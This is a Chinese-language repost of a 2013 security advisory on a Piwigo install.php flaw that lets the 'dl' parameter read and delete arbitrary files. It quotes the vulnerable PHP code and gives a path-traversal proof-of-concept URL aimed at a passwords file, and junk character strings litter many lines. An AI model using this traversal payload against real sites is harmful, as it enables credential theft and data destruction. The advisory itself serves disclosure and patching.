Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
1 K0 X+ A4 K+ }; a& ]
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
4 U/ V8 Q& n) H4 x: A6 \/ {-------------
- [( E$ @5 X% i' y5 X6 u113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ P9 `* C: {# m4 O. s/ ~* `116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
/ Y$ i! `2 W4 v120:   header('Content-Length: '.filesize($filename));
4 @$ s* j4 r3 s* d121:   echo file_get_contents($filename);
( k5 l) Y5 [" u7 z6 n! P& S122:   unlink($filename);
123:   exit();
4 N- e+ q; f* X% v2 o124: }
+ r% e! Q/ q; j# A! P% y3 Q  w+ Q====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
0 }" e1 }' H; b! \. w           Apache 2.4.2 (Win32)
4 [  E  x! E7 O/ |6 f           PHP 5.4.4
* A4 r, x+ m1 ^9 }, \5 u4 ~           MySQL 5.5.25a
9 o2 r2 G. X! Y/ v3 E; q4 H: Y
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
' ~1 {: R; x5 Z! E; u1 a
Advisory ID: ZSL-2013-5127
0 |* M4 [2 [! C5 h7 tAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# w. y% {3 @' }/ K( p7 U2 r
' ~% V) I3 \# G( x+ k0 |15.02.2013
4 l* s, N1 k2 D1 Y0 z* ]" a
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
0 K6 q0 B# y- X; I
2 V; u4 h% j; o5 c* P7 b0 ]& ]